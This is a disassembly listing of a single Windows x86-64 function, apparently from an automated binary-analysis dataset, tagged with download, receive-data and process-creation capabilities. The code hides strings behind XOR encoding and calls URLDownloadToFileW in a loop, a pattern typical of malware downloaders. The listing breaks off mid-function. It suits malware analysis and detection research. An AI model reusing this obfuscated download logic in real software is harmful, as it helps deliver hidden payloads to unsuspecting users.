Function at 0x1400036c0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x720
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x6c0], rax
xor r14d, r14d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x360], xmm0
mov qword [rbp + 0x370], rax
movabs rax, 0xfd8a54871cbc6ff0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rbx, 0xfb36a0d721a380f4
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs rsi, 0x98a427f275ce06a3
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
movabs r13, 0xfb36a0d721a3e58c
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0x10], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x320], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x330], xmm1
lea rax, [rbp + 0x10]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x1400037a0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x320]
call fcn.140007cf0
nop
movabs rax, 0xfd8a559711af69ef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0x10], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x350], xmm1
lea rax, [rbp + 0x10]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140003830
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x340]
call fcn.140007cf0
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x360], xmm0
mov qword [rbp + 0x370], r14
mov ecx, 0x40
call fcn.140009180
mov rbx, rax
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rax
lea rcx, [rax + 0x40]
mov qword [rbp + 0x370], rcx
lea rax, [rbp + 0x360]
mov qword [rbp], rax
lea rdi, [rbp + 0x320]
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
mov qword [rbp + 0x390], rbx
mov qword [rbp + 0x398], rbx
lea rax, [rbp + 0x360]
mov qword [rbp + 0x3a0], rax
nop dword [rax + rax]
mov rdx, rdi
mov rcx, rbx
call fcn.1400069e0
add rbx, 0x20
mov qword [rbp + 0x398], rbx
add rdi, 0x20
lea rax, [rbp + 0x360]
cmp rdi, rax
jne 0x1400038c0
mov qword [rbp + 0x390], rbx
mov rdx, rbx
mov rcx, rbx
call fcn.140007df0
mov qword [rbp + 0x368], rbx
mov qword [rbp], r14
lea r9, [fcn.140006940]
mov edx, 0x20
mov r8d, 2
lea rcx, [rbp + 0x320]
call fcn.1400091bc
mov rdi, qword [rbp + 0x368]
mov rbx, qword [rbp + 0x360]
cmp rbx, rdi
je 0x140003945
mov rdx, rbx
call fcn.140005630
add rbx, 0x20
cmp rbx, rdi
jne 0x140003934
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x378], xmm0
mov qword [rbp + 0x388], rax
movabs rdx, 0x98d4278675ba06cb
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rcx, 0xfb19a0f82199e5ff
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0xbb7a89a8b620beaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0x722e1347be173a53
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x67412fe9bfb036b8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0xebc998d92ee7f391
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0x16bc8ecf7acd4126
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0xb0277eee2f8f3279
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0x1df9ca7cb060304f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0x9eb1b6999ad17c10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0xf654987f0c88691
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0x91c83834f9e88141
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movabs rax, 0xa167d99d26f218ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x924489275878886b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0x17bfd7245611a79e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
movabs rax, 0x1c2765ea3417ff93
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movabs rax, 0x4ac40546ec6a9cc0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0xeefd0366ae79a5d0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xe0d60ca2256e9eb8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
movabs rax, 0xd9f8d099b4eec1ce
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
movabs r10, 0xbb1289dcb649becd
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x5b0], rax
movabs r9, 0x724d1369be753a26
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x5b8], rax
movabs rbx, 0x67112fc6bfdd36d7
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
movabs rdi, 0xeba098bb2e93f3f0
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
movabs rax, 0x16cf8ea07aaf4141
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
movabs r11, 0xb0417e9d2fa0320a
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
movabs rax, 0x1d8aca1ab004302b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
movabs rax, 0x9ec2b6ff9ab67c74
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
movabs rax, 0xf1349e4f0af86f5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
movabs rax, 0x91a43851f99a816e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
movabs rax, 0xa102d9ee269318df
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
movabs rax, 0x922b894358578818
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
movabs rax, 0x17d0d748567fa7e9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x610], rax
movabs rax, 0x1c4365c53473fff2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x618], rax
movabs rax, 0x4aeb0522ec0b9cb3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x620], rax
movabs rax, 0xee990307ae16a59c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
movabs rax, 0xe0b30c8c251c9edd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x630], rax
movabs rax, 0xd9f8d099b48bc1b6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x638], rax
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x5a0]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x5c0]
vmovdqa ymmword [rbp + 0x240], ymm1
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x5e0]
vmovdqa ymmword [rbp + 0x260], ymm1
vmovdqu ymm0, ymmword [rbp + 0x280]
vpxor ymm1, ymm0, ymmword [rbp + 0x600]
vmovdqa ymmword [rbp + 0x280], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x620]
vmovdqa ymmword [rbp + 0x2a0], ymm1
movabs r12, 0x98f327ae75f406e0
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs r15, 0xfb59a0b321cde5e5
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs r14, 0xbb468980b63abeba
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rsi, 0x72111319be183a43
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x67752fa7bfb2369b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xebc598952ee1f395
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x16cf8ea07aca4139
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs r8, 0x98a427f275ce06a3
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs rax, 0x16cf8ea07aaf4141
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rax, [rbp + 0x220]
mov qword [rbp + 0x300], rax
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x308], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
movabs rax, 0xbb7f89bdb631bea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b0], rax
movabs rax, 0x7263130cbe193a56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b8], rax
movabs rax, 0x673e2fabbfb236b4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
movabs rax, 0xebd498d42efdf391
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
movabs rax, 0x16a98ed27aca4129
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
movabs rax, 0xb06f7ef82fcc3263
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
movabs rax, 0x1d8aca7fb07c304e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
movabs rdx, 0x9ec2b6ff9ab67c74
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs rcx, 0x16cf8ea07aaf4141
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
movabs rax, 0x1d8aca1ab004302b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
vmovdqu ymm0, ymmword [rbp + 0x5a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x5a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x5c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x5c0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x5e0]
vxorps xmm0, xmm0, xmmword [rbp + 0x520]
vmovdqa xmmword [rbp + 0x5e0], xmm0
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x67652fa9bfb33696
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0xebe698c92ef6f398
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0x16e18ec57ac34128
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0xb0417ef82fd8326f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x200], ymm1
lea rax, [rbp + 0x5a0]
mov qword [rbp + 0x310], rax
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x318], rax
lea rdi, [rbp + 0x300]
mov qword [rbp + 0x390], rdi
vxorps xmm0, xmm0, xmm0
vmovdqu xmmword [rbp + 0x378], xmm0
mov qword [rbp + 0x388], 0
mov ecx, 0x20
vzeroupper
call fcn.140009180
mov rbx, rax
mov qword [rbp + 0x378], rax
mov qword [rbp + 0x380], rax
lea rcx, [rax + 0x20]
mov qword [rbp + 0x388], rcx
mov r8d, 0x20
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + 0x20]
mov qword [rbp + 0x380], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rax, 0x67752fa8bfb436a0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xeb8e98c82ee4f39f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x16cf8ec47ac24122
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rcx, 0xb0417e9d2fa0320a
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs r12, 0x98a427f275ce06a3
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
movabs r14, 0xbb1289dcb649becd
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
movabs rdi, 0x724d1369be753a26
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
movabs rax, 0x67112fc6bfdd36d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
movabs rax, 0xeba098bb2e93f3f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs rax, 0x16cf8ea07aaf4141
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x180], ymm1
mov r15, qword [rbp + 0x380]
movabs rax, 0x98ca279775be06cc
mov rsi, qword [rbp + 0x378]
cmp rsi, r15
vzeroupper
je 0x140005584
add rsi, 8
xor ebx, ebx
nop
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, qword [rsi]
mov rdx, qword [rsi - 8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x1400053bf
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3b0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x3b0]
call fcn.1400066e0
nop
cmp qword [rbp + 0x438], 0
je 0x140005276
movabs rax, 0x98cc279175ab06e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xfb50a0b82183e5e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xbb1289dcb643beab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqu ymmword [rbp + 0x20], ymm1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x3b0]
vzeroupper
call fcn.140007500
movabs rax, 0x98cb279d75a20699
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rax, 0xfb36a0d721a9e5fc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x640]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x3b0]
call fcn.140007500
movabs rax, 0x98c1279f75a706d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
movabs rax, 0xfb16a0a321d6e5e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
movabs rax, 0xbb2689fcb63dbee2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
movabs rax, 0x72221307be5a3a06
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
movabs rax, 0x67702fa3bfaf36b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
movabs rax, 0xebee98852eb3f39b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
movabs rax, 0x16cf8eaa7ae34114
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
movabs rbx, 0xb0417e9d2fa0320a
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
movabs rax, 0x67112fc6bfdd36d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
movabs rax, 0xeba098bb2e93f3f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs rax, 0x16cf8ea07aaf4141
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
vmovdqu ymm0, ymmword [rbp + 0x540]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x540], ymm1
vmovdqu ymm0, ymmword [rbp + 0x560]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x560], ymm1
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x3b0]
vzeroupper
call fcn.140007500
movabs rax, 0x98cf278175af06d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xfb42a0a421cae5e0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xbb5b899ab666beed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x72001320be573a06
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x675f2f83bf9a3696
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xeb8098fe2edef3b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0x16cf8e807ade4124
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
movabs rax, 0x67112fc6bfdd36d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
movabs rax, 0xeba098bb2e93f3f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
movabs rax, 0x16cf8ea07aaf4141
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x560]
vmovdqa ymmword [rbp + 0x120], ymm1
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x3b0]
vzeroupper
call fcn.140007500
mov r14, rax
mov rdx, qword [rsi]
mov qword [rbp + 0x2c0], rdx
mov rcx, 0xffffffffffffffff
inc rcx
cmp word [rdx + rcx*2], 0
jne 0x140004951
mov qword [rbp + 0x2c8], rcx
movaps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
lea rcx, [rbp + 0x40]
call fcn.140008880
nop
lea rcx, [rbp + 0x40]
cmp qword [rbp + 0x58], 7
cmova rcx, qword [rbp + 0x40]
mov rax, qword [rbp + 0x50]
lea rdi, [rcx + rax*2]
mov rbx, rdi
mov rdx, rdi
call fcn.140001a80
cmp rax, rdi
je 0x1400049db
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x1400049b1
cmp cx, 0x2f
jne 0x1400049ba
add rax, 2
cmp rax, rdi
jne 0x1400049a2
cmp rax, rdi
je 0x1400049db
nop
lea rdx, [rbx - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x1400049db
cmp cx, 0x2f
je 0x1400049db
mov rbx, rdx
cmp rax, rdx
jne 0x1400049c0
mov qword [rbp + 0x2d0], rbx
sub rdi, rbx
sar rdi, 1
mov qword [rbp + 0x2d8], rdi
movaps xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
lea rcx, [rbp + 0x20]
call fcn.140008880
nop
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 7
cmova rdx, qword [rbp + 0x20]
mov rcx, r14
call fcn.140007500
mov r8, rax
movabs rax, 0x989a27c075ee0681
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4e0], rcx
movabs rax, 0xfb16a09b21f6e5c2
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4e8], rcx
movabs rax, 0xbb7b89bab669beb1
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4f0], rcx
movabs rax, 0x72621349be113a48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
movabs rax, 0x675f2fe9bffd369e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
movabs rax, 0xeba098bb2eb1f3d0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
movabs r10, 0xbb1289dcb649becd
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
movabs r9, 0x724d1369be753a26
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
movabs rax, 0x67112fc6bfdd36d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
movabs rax, 0xeba098bb2e93f3f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
vmovdqu ymm0, ymmword [rbp + 0x4e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqa ymmword [rbp + 0x4e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x500]
vxorps xmm0, xmm0, xmmword [rbp + 0x560]
vmovdqa xmmword [rbp + 0x500], xmm0
lea rdx, [rbp + 0x4e0]
mov rcx, r8
vzeroupper
call fcn.140007500
mov r14, rax
mov rdx, qword [rsi]
mov qword [rbp + 0x2e0], rdx
mov rcx, 0xffffffffffffffff
inc rcx
cmp word [rdx + rcx*2], 0
jne 0x140004b90
mov qword [rbp + 0x2e8], rcx
movaps xmm0, xmmword [rbp + 0x2e0]
